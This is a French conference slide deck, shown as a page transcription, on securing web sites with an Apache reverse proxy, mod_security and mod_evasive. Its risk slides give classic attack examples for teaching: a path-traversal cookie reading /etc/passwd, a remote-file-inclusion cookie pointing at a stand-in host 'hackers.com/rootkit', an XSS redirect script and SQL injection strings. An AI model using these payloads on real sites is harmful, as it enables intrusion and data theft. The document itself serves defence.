Sécurisation de vos sites web avec Apache reverse proxy et mod_security



Documents pareils
WEB APPLICATION FIREWALL AVEC APACHE ET MOD_SECURITY

Fonctionnement et mise en place d un reverse proxy sécurisé avec Apache. Dimitri ségard 8 mai 2011

ADF Reverse Proxy. Thierry DOSTES

Sécuriser les applications web

Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement

Aide à la Détection de Faiblesses d un site Web Mandataire inverse, Modsecurity

Vulnérabilités et solutions de sécurisation des applications Web

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin

Sécuriser les applications web de l entreprise

OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI

Apache en tant que reverse proxy

Réseau - Sécurité - Métrologie - Data Center. Le leader du marché allemand des UTM débarque en France avec des arguments forts!

Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4)

La Sécurité des Données en Environnement DataCenter

APPLICATIONS WEB ET SECURITE

SERVEUR WEB LINUX LAMP. Raymond RAZAFIMAMONJY Administration LINUX / UNIX Chapitre 15

Les utilités d'un coupe-feu applicatif Web

Dans l'épisode précédent

Failles XSS : Principes, Catégories Démonstrations, Contre mesures

Hébergement de site web Damien Nouvel

Tous les autres noms de produits ou appellations sont des marques déposées ou des noms commerciaux appartenant à leurs propriétaires respectifs.

Une approche positive du filtrage applicatif Web. Didier «grk» Conchaudron Sébastien «blotus» Blot

Etude de la pertinence et de l'intérêt des appliances WAF (IPS web) à l'inria

BTS SIO SISR3 TP 1-I Le service Web [1] Le service Web [1]

Serveur Web Apache - SSL - PHP Debian GNU/Linux

Présentation du relais HTTP Open Source Vulture. Arnaud Desmons Jérémie Jourdin

1. Formation F5 - Local Traffic Manager Configuring (LTM)

INTERNET est un RESEAU D ORDINATEURS RELIES ENTRE EUX A L ECHELLE PLANETAIRE. Internet : interconnexion de réseaux (anglais : net = réseau)

DenyAll Protect. Sécurité & accélération. Parefeux pour applications et services Web. de vos applications.

Installation d un hébergement Web à domicile

07/03/2014 SECURISATION DMZ

UE5A Administration Réseaux LP SIRI

Technologies du Web. Créer et héberger un site Web. Pierre Senellart. Page 1 / 26 Licence de droits d usage

Installation d un serveur HTTP (Hypertext Transfer Protocol) sous Débian 6

Vulnérabilités et sécurisation des applications Web

REPARTITION DE CHARGE LINUX

Le serveur HTTPd WASD. Jean-François Piéronne

Stockage du fichier dans une table mysql:

F5 : SECURITE ET NOUVEAUX USAGES

Rapport de certification ANSSI-CSPN-2010/05. ModSecurity v2.5.12

ADF 2009 Sécurisation d applications PHP/MySQL

Apache 2.4 Installation et configuration

(structure des entêtes)

Architectures en couches pour applications web Rappel : Architecture en couches

HTTP HTTP. IUT1 dpt SRC L Isle d Abeau Jean-françois Berdjugin. Introduction et architecture Messages Authentification Conclusion

Création d un «Web Worm»

2011 Hakim Benameurlaine 1

les techniques d'extraction, les formulaires et intégration dans un site WEB

Failles des applications Web. Ce document est extrait du travail de diplôme de M. DIZON dans l état.

Les serveurs WEBUne introduction

SERVEUR HTTP Administration d apache

Web Application Firewalls (WAF)

Un reverse proxy, pour quoi faire?

CIBLE DE SECURITE CSPN DU PRODUIT PASS. (Product for Advanced SSO)

Présentation de la solution Open Source «Vulture» Version 2.0

Aide à la Détection de Faiblesse d'un site web

Imprimantes et partage réseau sous Samba avec authentification Active Directory

Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP

TELECOM Lille Option SRS Fabien VINCENT

«Cachez-moi cette page!»

Configurer la supervision pour une base MS SQL Server Viadéis Services

PHP CLÉS EN MAIN. 76 scripts efficaces pour enrichir vos sites web. par William Steinmetz et Brian Ward

L3 informatique TP n o 2 : Les applications réseau

akersia Présentation de compétences et technologies Janvier 2008 Frédéric Laplagne: Jordi Segués:

Magento. Magento. Réussir son site e-commerce. Réussir son site e-commerce BLANCHARD. Préface de Sébastien L e p e r s

SECURIDAY 2012 Pro Edition

Serveur Web Apache. Jean-Marc Robert Génie logiciel et des TI

SYSTÈMES D INFORMATIONS

Mandataires, caches et filtres

WDpStats Procédure d installation

Un exemple d'authentification sécurisée utilisant les outils du Web : CAS. P-F. Bonnefoi

Procédure d utilisation et de paramétrage (filtrage) avec IPFIRE

INSTALLATION DE WINDOWS 2000 SERVER POUR BCDI3. par. G.Haberer, A.Peuch, P.Saadé

laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007

Sécurité des applications web. Daniel Boteanu

BeEF : Browser Exploitation Framework

Formation Webase 5. Formation Webase 5. Ses secrets, de l architecture MVC à l application Web. Adrien Grand <jpountz@via.ecp.fr> Centrale Réseaux

Francis Mignault. ! Coauteur : Expert Oracle Application Express. ! Membre du Oracle APEX Advisory Board apex.oracle.com/vote

VIDÉOSURVEILLANCE. Procédures de paramétrage des différentes box du marché

WebSSO, synchronisation et contrôle des accès via LDAP

TP N 2. Mise en œuvre d un Reverse Proxy Apache. Installation et configuration de ModSecurity 2.1

Devenez un véritable développeur web en 3 mois!

Les Content Delivery Network (CDN)

Installation et configuration de Vulture Lundi 2 février 2009

Serveur Linux : FTP. Mise en place d un service FTP sous Linux. Bouron Dimitri 20/04/2014

Rapport de stage. Création d un site web. Stage du 20/01/2013 au 21/02/2013

laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007

Mysql. Les requêtes préparées Prepared statements

Application Web et J2EE

Architecture et infrastructure Web

La Latecion protection anti-intrusion Web Web Le concept «Zero effort Security» La protection des applications Extranet

Maarch Framework 3 - Maarch. Tests de charge. Professional Services. 11, bd du Sud Est Nanterre

Mise en oeuvre d un intranet à partir de logiciels Open Source avec intégration des certificats numériques et login unique

Sécurité des applications Web

Internet. Web Sécurité Optimisation

Performance, rendement Vs Evolutivité

Serveurs de noms Protocoles HTTP et FTP

CRÉER, ROUTER ET GÉRER UNE NEWSLETTER, UN ING

Transcription:

JI 2012, François Legrand, Sécurisation des sites web 1/27 Sécurisation de vos sites web avec Apache reverse proxy et mod_security François Legrand (LPNHE)

JI 2012, François Legrand, Sécurisation des sites web 2/27 Plan Introduction Typologie des risques L'architecture Reverse proxy Mise en place d'un RP Avantages et inconvénients d'un RP mod_security et mod-evasive Quelques bonnes pratiques

JI 2012, François Legrand, Sécurisation des sites web 3/27 Introduction Les sites web sont plus vulnérables qu'on ne le pense Cf. étude Imperva (Dec 2010-Mai 2011 sur 10 millions d'attaques) http://www.imperva.com/docs/hii_web_application_attack_report_ed1.pdf En moyenne 27 Attaques par heure (une toute les 2mn) mais cela peut atteindre 25.000/heure soit 7 par secondes

JI 2012, François Legrand, Sécurisation des sites web 4/27 Introduction Nous ne sommes pas épargnés!! Au LPNHE sur la semaine du 15 Octobre 400 «WARNING» / heure 140 «CRITICAL» / heure 21 «ATTACK» / heure

JI 2012, François Legrand, Sécurisation des sites web 5/27 Typologie des risques Il existe de nombreux types d'attaques 4 Principaux Directory Traversal Remote File Injection (RFI) Cross site scripting (XSS) Injection SQL (SQLI)

Typologie des risque Directory Traversal Exploitation de codes php mal sécurisés faisant appel à des fichiers Code <?php $template = 'red.php'; if (isset($_cookie['template'])) $template = $_COOKIE['TEMPLATE']; include ("/var/www/templates/". $template);?> Requête GET /vulnerable.php HTTP/1.0 Cookie: TEMPLATE=../../../../../etc/passwd Réponse HTTP/1.0 200 OK Content-Type: text/html Server: Apache root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh... JI 2012, François Legrand, Sécurisation des sites web 6/27

JI 2012, François Legrand, Sécurisation des sites web 7/27 Typologie des risque Code Remote file injection (RFI) Injection de code externe malveillant par le biais de paramètres mal sécurisés (ex: infos passées dans l'url) <?php $template = 'red'; if (isset($_cookie['template'])) $template = $_COOKIE['TEMPLATE']; include ($template. '.php');?> Requête GET /vulnerable.php HTTP/1.0 Cookie: TEMPLATE=http://hackers.com/rootkit Réponse HTTP/1.0 200 OK Content-Type: text/html Server: Apache Execution sur le serveur du contenu de la page http://hackers.com/rootkit.php

JI 2012, François Legrand, Sécurisation des sites web 8/27 Typologie des risque Cross site scripting (XSS) Injection de code malveillant par le biais de formulaires mal sécurisés (ex: commentaires dans un forum) Ex: Un visiteur insert le commentaire suivant dans un forum: <script type="text/javascript"><!--window.location = "http://lnphe.in2p3.fr/"//--></script> Les visiteurs suivants seront redirigés vers le faux site (qui peut être une copie piégée du vrai site)

JI 2012, François Legrand, Sécurisation des sites web 9/27 Typologie des risque Injection SQL Exploitation de formulaires mal sécurisés servant à faire une requête vers une DB $resultat = mysql_numrows(mysql_query( "SELECT * FROM users WHERE pseudo='$login' AND mdp='$password';")); if ($resultat == 1) { echo "Authentification réussie."; login=dupont' -- password=peu importe login=dupont password=' OR 1=1 # SELECT * FROM admin WHERE pseudo='dupont' -- ' AND SELECT * FROM admin WHERE pseudo='dupont' AND mdp='' OR 1=1 # '

JI 2012, François Legrand, Sécurisation des sites web 10/27 L'architecture Reverse-Proxy Modèle classique Clients Serveurs

JI 2012, François Legrand, Sécurisation des sites web 11/27 L'architecture Reverse-Proxy Modèle classique vs Reverse Proxy Clients Clients Reverse proxy Serveurs Serveurs

JI 2012, François Legrand, Sécurisation des sites web 12/27 Install et configuration du RP Module apache libapache2-mod-proxy-html /etc/apache2/sites-enabled/000-default <VirtualHost *:80> ServerName lpnhe.in2p3.fr ServerAdmin webmaster@localhost ProxyRequests Off ProxyHTMLExtended On SetOutputFilter INFLATE;proxy-html;DEFLATE Ce serveur répondra aux requêtes à cette adresse Par defaut, sinon on est en proxy forward Pour réécrire aussi les CSS et Javascritps ProxyPass /site1/ http://addresse-ip-du-serveur1/ ProxyPassReverse /site1/ http://addresse-ip-du-serveur1/ ProxyHTMLURLMap http://addresse-ip-du-serveur1 /site1 Les redirections internes dans les en-têtes de réponses (Location,Content-location et URI ) seront réécrits aussi Les liens en serveur1 dans la page html seront réécrit en /site1 Les contenus compressés seront décompressés, réécrits puis recompressés Les requêtes vers /site1/ seront renvoyées vers serveur1

JI 2012, François Legrand, Sécurisation des sites web 13/27 Install et configuration du RP Quelques fonctions intéressantes ProxyPreserveHost => Le proxy transmet le nom demandé initialement. Permet de garder la configuration par nom des serveurs de contenu. SSLProxyEngine (mod_ssl) = > permet d'établir un lien https entre le RP et le serveur donc de ne pas rompre la chaine sécurisée Sur les serveurs de contenu toutes les requêtes proviennent du RP (peut poser des pb si on filtre les domaines de provenance par ex.) => Installer libapache2-mod-rpaf

JI 2012, François Legrand, Sécurisation des sites web 14/27 Configuration du RP (fin) Load Balancing <Proxy balancer://foo> BalancerMember http://www1.example.com:80/ loadfactor=1 BalancerMember http://www2.example.com:80/ loadfactor=3 ProxySet lbmethod=bytraffic </Proxy> ProxyPass /apps/ balancer://foo/ ProxyPassReverse /apps balancer://foo/

JI 2012, François Legrand, Sécurisation des sites web 15/27 Avantages et inconvénients du RP Avantages Un seul point d'entrée => plus facile à sécuriser Sécurisation du RP bénéficie à tous les autres Une seule machine exposée (et sans «contenu») Flexibilité (très facile de déplacer un site sur une autre machine sans avoir à intervenir sur le DNS) Options (loadbalancing, ajout de headers, etc...) Caching pour améliorer les perfs

JI 2012, François Legrand, Sécurisation des sites web 16/27 Avantages et inconvénients du RP Inconvénients Le RP réécrit le code HTML Nécessaire pour masquer les références au serveur physique => le serveur doit pouvoir traiter ça Le RP corrige le code Le RP ne sert que du code HTML «propre» et tente donc de corriger les erreurs de syntaxe Pas de pb si les pages sont en html valide! Sinon «effets de bords» à corriger Soucis dans les requètes AJAX car ajout systématique des balises <html><body></body></html>

JI 2012, François Legrand, Sécurisation des sites web 17/27 mod-security Module «Firewall» pour apache qui filtre les requêtes http et protège le serveur It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with little or no changes to existing infrastructure Implémenté sur le RP, permet la protection de tous les sites situés derrière

JI 2012, François Legrand, Sécurisation des sites web 18/27 mod-security Mod-security intervient en 5 phases lors d'une requête http En-têtes de la requête (page demandée, navigateur, provenance, etc...) Corps de la requête (données POST, etc...) En-têtes de la réponse (status, content type, etc...) Corps de la réponse (page web) Logging (à ce stade il est trop tard pour intervenir)

JI 2012, François Legrand, Sécurisation des sites web 19/27 mod-security Il faut implémenter les règles désirées Règles négatives : bloque les attaques connues Règles positives : ne laisse passer que ce qu'on autorise Patching virtuel : Possibilité d'ajout/maj de règles sans modifier le code source

JI 2012, François Legrand, Sécurisation des sites web 20/27 mod-security /etc/apache2/mods-available/mod-security.conf # Permettre à mod-security de vérifier les requêtes (très important pour vérifier les données POST par exemple) SecRequestBodyAccess On # Est-ce que mod-security doit regarder les pages servies? (utile si on veut par exemple filtrer certains contenus) SecResponseBodyAccess On # Une regle pour l'exemple : On loggue toutes les requêtes vers les fichiers index.html SecRule REQUEST_BASENAME "^index\.html$" log

JI 2012, François Legrand, Sécurisation des sites web 21/27 mod-security Implémenter des règles de base (couvre à peu près toutes les attaques courantes) «The open web application security project» (OWASP) propose un certain nombre de règles pré-programmées Il suffit de les télécharger, les copier dans /etc/apache2/modsecurity et de les activer en ajoutant ce qui suit dans /etc/apache2/mods- available/mod-security.conf Include modsecurity/*.conf Include modsecurity/base_rules/*.conf

JI 2012, François Legrand, Sécurisation des sites web 22/27 mod-security Dans certains cas mod-security peut se révéler être trop restrictif (ex : phpmyadmin) Possibilité de définir des «pages blanches», i.e. laisser passer certaines requêtes (par exemple pour le réseau en interne) On crée modsecurity_crs_15_custom_rules.conf. Cette règle sera interprété immédiatement après le fichier de configuration de ModSecurity (modsecurity_crs_10_config.conf). SecRule REMOTE_ADDR "^134\.152\." phase:1,log,allow,ctl:ruleengine=detectiononly

JI 2012, François Legrand, Sécurisation des sites web 23/27 mod-evasive Module apache qui bloque les requêtes trop fréquentes en provenance d'une même IP (brute-force/dos)

JI 2012, François Legrand, Sécurisation des sites web 24/27 Quelques bonnes pratiques Serveur web <> serveur de calcul Limiter les conséquences d'un piratage Pas de comptes utilisateurs (ftp chrooté -proftpd) Un seul compte admin différent des autres comptes admin du labo Limiter l'accès aux serveurs Limiter les infos fournies (ServerSignature ( Off, ServerTokens Prod) Sauvegardes régulières

JI 2012, François Legrand, Sécurisation des sites web 25/27 Conclusion Un serveur web est exposé et vulnérable Utiliser un Reverse Proxy permet d'améliorer la sécurité et de gagner en flexibilité Implémenter sur le RP des règles de sécurité (mod-security, mod-evasive) renforce la sécurité de tous les serveurs situés derrière La mise en place d'un RP avec mod-security n'est pas si complexe que ça

JI 2012, François Legrand, Sécurisation des sites web 26/27 Configuration du RP (suite) /etc/apache2/sites-enabled/000-default ProxyPass /site2/ http://addresse-ip-serveur2/ ProxyHTMLURLMap http://addresse-ip-serveur2 /site2 <Location /site2/> ProxyPassReverse http://addresse-ip-serveur2/ ProxyHTMLURLMap / /site2/ </Location> Le premier argument est omis et le répertoire local est obtenu à partir de l'argument de la directive <Location> </VirtualHost> Les règles qui s'appliquent pour la redirection site2 serveur2

JI 2012, François Legrand, Sécurisation des sites web 27/27 Avantages et inconvénients du RP Inconvénients Le RP réécrit le code HTML Nécessaire pour masquer les références au serveur physique Supprime certaines lignes ex : <!DOCTYPE html... disparaît!!! => Peut être fixé avec la directive ProxyHTMLDocType Même type de «problème» avec le type d'encodage fixé à UTF8 par défaut => Dans ce cas utiliser la directive ProxyHTMLCharsetOut * pour préserver l'encodage